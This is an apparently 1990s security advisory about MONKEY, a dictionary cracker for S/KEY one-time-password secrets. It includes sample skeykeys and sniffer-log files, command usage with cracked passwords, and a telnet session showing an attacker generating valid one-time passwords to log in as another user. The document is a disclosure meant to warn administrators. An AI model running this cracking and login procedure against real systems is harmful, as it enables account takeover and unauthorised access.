COMMAND

    s/key

SYSTEMS AFFECTED

    Systems running s/key

PROBLEM

    MONKEY  is  a  program  that  works  similarly  in  nature to Alec
    Muffet's CRACK.  In essence it  takes the md4 value in either  HEX
    or English words and compares it to a dictionary. Once the  secret
    password is known, one time  password schemes based off of  it are
    useless as the  appropriate response can  be generated based  upon
    the  current  challenge.   MONKEY  can  handle  two types of input
    files; modified  sniffer logs  or, an  actuall skeykeys  file from
    the system.

    Please note that the  program does extremely simplistic  checks on
    the files you pass it. It's up to you to input the proper  format.
    Sample files have been included.

	example skeykeys file:
	--------
	root 0033 k113356 689668b15365a6e7 Jun 12,1995 21:52:16
	johndoe 0071 k113355 79c8d24edc85ff25 Jun 07,1995 15:03:45
	demo 0075 za31027 4b8daf293d462b02 Jun 12,1995 12:05:23
	toor 0078 za19104 9c03025aeb4b4b1e Jun 07,1995 10:10:16
	nodbody 0097 za13143 f4a4380565396733 Jun 08,1995 11:10:42
	angela 0099 za31028 cfe0a8df6aa17ef7 Aug 31,1995 13:57:56
	--------
	example modifed sniffer logs:
	--------
	nobody:99:k113356:SODA RAVE LUSH MAT TERM TEEM:
	john:97:k113356:GULL COVE JUG GRAY MIT BOIL:
	sarah:103:k113356:RAIN LOB USED CAIN LINT CAN:
	--------

    These are passed,  along with the  dictionary file, to  the monkey
    program as such (the -k flag specifies an skeykeys file):

	unix> monkey -k skeykeys dictionay
	User [angela] has a key of [secret]

    or

	unix> monkey sniffed dictionary
	User [nobody] has a key of [secret]
	User [john] has a key of [not_it4]

    [note: the above  examples were taken  from two seperate  systems,
    hence the difference in results]

    With this  output you  now know  that several  users are  choosing
    easilly guessed  passwords, thus  negating the  usefullness of one
    time password programs such as S/KEY from Bellcore.

    If you  do not  notify these  users or  take actions  to fix  this
    situation then there is nothing  stopping a hacker from running  a
    similar check  and doing  the following  once they  have the above
    information:

	unix> telnet target.com
	Trying 199.99.99.99...
	Connected to target.com.
	Escape character is '^]'.

	Unix of the Day v2.5 (target.com) (ttyp1)

	login: john
	s/key 23 k113356 [note:  it doesn't matter what  the challenge
			 is since we know the secret key]

	Password:
	^]
	telnet>^Z
	local_unix> key 23 k113356
	Reminder: Do not use key while loged in via telnet or dial-in.
	Enter secret password: [types in not_it4]
	FIN ROIL COLD LOS HAT SOB
	local_unix> fg
	FIN ROIL COLD LOS HAT SOB

	Last login: Thu Aug 2 13:57:36 from SOMEWHERE.COM
	Unix of the Day v2.5

	Welcome home john boy...

	target$

    Currently only  md4 is  supported (trivial  to pop  in md5).  This
    program  will  take  a  long   time  on  large  dictionaries   and
    user-bases. The time required is relative to the iteration counter
    for the account being checked.

    Dictionaries  should  also  include  common  phrases  as  most OTP
    implementations such  as S/KEY  from Bellcore  and Weitse Venema's
    allow keys to be more than just one word. This is not as  helpfull
    as it  sounds. Most  people pick  memorable phrases  from songs or
    shows that are fairly common.

    If  you  don't  get  any  succesfull  cracks  from  the   included
    skeykeys,  sniffed  and  dictionary  files  you  probably  need to
    switch the endian flag in  the makefile.  This document  is mostly
    l0pht  copyright.    Please  feel   free  to   send  comments   to
    mudge@l0pht.com.  Program can be found at l0pht site.